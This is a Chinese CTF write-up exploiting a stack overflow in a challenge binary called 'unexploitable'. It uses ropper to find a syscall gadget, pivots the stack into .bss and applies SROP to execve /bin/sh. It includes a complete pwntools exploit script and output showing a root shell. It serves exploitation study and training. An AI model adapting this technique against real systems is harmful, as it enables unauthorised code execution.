file unexploitable 
unexploitable: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=aba2c1fb7a4bca286d75e23006f9fe01dfcb03c2, not stripped

ida打开,看到典型的栈溢出,offset为0x10+8 = 24

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [sp+0h] [bp-10h]@1

  sleep(3u);
  return read(0, &buf, 0x50FuLL);
}

got表中没有system,也没有write,puts之类的输出函数,没办法泄露libc,使用ROPgadget也搜不到syscall。(ROPgadget似乎存在一个缺陷,无法把单独的syscall识别成一个gadgetROPgadget无法查找到syscall,我们使用ropper来查找)

使用ropper查找gadget

ropper -f unexploitable |grep syscall
/usr/lib64/python2.7/site-packages/cffi/cparser.py:164: UserWarning: Global variable 'r' in cdef(): for consistency with C it should have a storage class specifier (usually 'extern')
  "(usually 'extern')" % (decl.name,))
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
0x0000000000400560: syscall; 

使用objdump -d unexploitable |less查找read地址

0000000000400430 <read@plt>:
  400430:       ff 25 ca 0b 20 00       jmpq   *0x200bca(%rip)        # 601000 <read@GLIBC_2.2.5>
  400436:       68 00 00 00 00          pushq  $0x0
  40043b:       e9 e0 ff ff ff          jmpq   400420 <.plt>

通过ida_pro查看到read函数的地址

.text:000000000040055B                 lea     rax, [rbp+buf]
.text:000000000040055F                 mov     edx, 50Fh       ; nbytes
.text:0000000000400564                 mov     rsi, rax        ; buf
.text:0000000000400567                 mov     edi, 0          ; fd
.text:000000000040056C                 mov     eax, 0
.text:0000000000400571                 call    _read
.text:0000000000400576                 leave
.text:0000000000400577                 retn
.text:0000000000400577 main            endp

我们可以通过stack pivot将sh读取到一个特定的地址

syscall_addr = 0x400560
set_read_addr = 0x40055b
read_addr = 0x400571
fake_stack_addr = 0x60116c
fake_ebp_addr = 0x60116c
binsh_addr = 0x60115c

io = remote('172.17.0.3', 10001)

payload = ""
payload += 'a'*16               #padding
payload += p64(fake_stack_addr) #两次leave造成的stack pivot,第一次使rbp变为0x60116c, rbp+buf为0x60115c
payload += p64(set_read_addr)   #lea rax, [rbp+buf]; mov edx, 50Fh; mov rsi, rax; mov edi, 0; mov eax, 0; call _read
io.send(payload)

执行完第二次read之后,我们测试用的数据1234被读取到了固定地址0x60115c处,然而由于call _read后的leave,栈也被劫持到了0x601174.此时rip又指向了retn,所以我们把测试数据替换成ROP链就可以继续进行操作。这里我们可以顺势把”/bin/sh\x00”放在0x60115c,然后接上一些填充字符串,在0x601174接rt_sigreturn,后面接SigreturnFrame,就完成SROP了。

------------
/bin/sh\x00 |	0x60115c
------------|
padding     |
------------|
new ebp     |	0x60116c
------------|
rt_sigreturn|	0x601174 fake rip
------------

栈中的结构如下

---------------
padding        |	
---------------|
fake_stack_addr|	rbp address,作用是将rbp跳转到新的rbp
---------------|
read_addr      |	return addr
---------------

但是问题是我们只有syscall,怎么设置rax=0xf从而调用rt_sigreturn呢? 我们知道read的返回值是其成功读取的字符数,而i386/amd64的返回值一般保存在eax/rax中。因此,我们可以先再次调用read读取15个字符,然后执行到retn时调用syscall。因此构造payload如下

------------
/bin/sh\x00 |	0x60115c
------------|
padding     |
------------|
new ebp     |	0x60116c ,指向0x60117c
------------|
read addr   |	0x601174 return addr
------------|
new new ebp |	0x60117c ,指向0x60116c
------------|
syscall_addr|   0x601184 
------------|
frameExecve |	syscall_addr下面直接跟着等待恢复的frameExecve
------------

最终的exp代码

#!/usr/bin/python
#coding:utf-8

from pwn import *

context.update(os = 'linux', arch = 'amd64')

syscall_addr = 0x400560     #这个通过`ropper -f unexploitable |grep syscall`找到
set_read_addr = 0x40055b    #这个通过ida中main方法里的汇编,找到
read_addr = 0x400571        #.text:0000000000400571                 call    _read
fake_stack_addr = 0x60116c
fake_ebp_addr = 0x60116c
binsh_addr = 0x60115c       #   程序通过bp-0x10来找到sh,所以sh的地址为fake_ebp_addr - 0x10  = 0x60115c

io = process('./unexploitable')

payload = ""                                            #这个exp就是将sh字段放到binsh_addr中
payload += 'a'*16				#padding
payload += p64(fake_stack_addr)	#两次leave造成的stack pivot,第一次使rbp变为0x60116c, rbp+buf为0x60115c
payload += p64(set_read_addr)	#lea rax, [rbp+buf]; mov edx, 50Fh; mov rsi, rax; mov edi, 0; mov eax, 0; call _read        注意:这里是return address
io.send(payload)
sleep(3)

frameExecve = SigreturnFrame()				#设置SROP Frame   这个是system(sh)
frameExecve.rax = constants.SYS_execve
frameExecve.rdi = binsh_addr
frameExecve.rsi = 0
frameExecve.rdx = 0
frameExecve.rip = syscall_addr

payload = ""                            #这个payload是发送给上一个rop的read函数
payload += "/bin/sh\x00"				#\bin\sh,在0x60115c (binsh_addr)
payload += 'a'*8						#padding
payload += p64(fake_stack_addr+0x10)	#在0x60116c,leave指令之后rsp指向此处+8,+0x18之后指向syscall所在栈地址
payload += p64(read_addr)				#在0x601174,rsi, rdi, rdx不变,调用read,用下面的set rax输入15个字符设置rax = 15
payload += p64(fake_ebp_addr)			#call read下一行是leave, rsp再次被换成fake_stack_addr+0x10+8, 即0x60117c+8。随便设置了一个可读写地址
payload += p64(syscall_addr)			#在0x60117c+8,即0x601184,调用syscall。上一步的call read读取了15个字符,所以rax=0xf,这个syscall将会触发sys_sigreturn,触发SROP
payload += str(frameExecve)				#syscall下面直接接SigreturnFrame
io.send(payload)
sleep(3)

io.send('/bin/sh\x00' + ('a')*7)		#读取15个字符到0x60115c,目的是利用read返回值为读取的字节数的特性设置rax=0xf,注意不要使/bin/sh\x00字符串发生改变
sleep(1)

io.interactive()

最终的结果

python exp.py 
[+] Starting local process './unexploitable': pid 18743
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)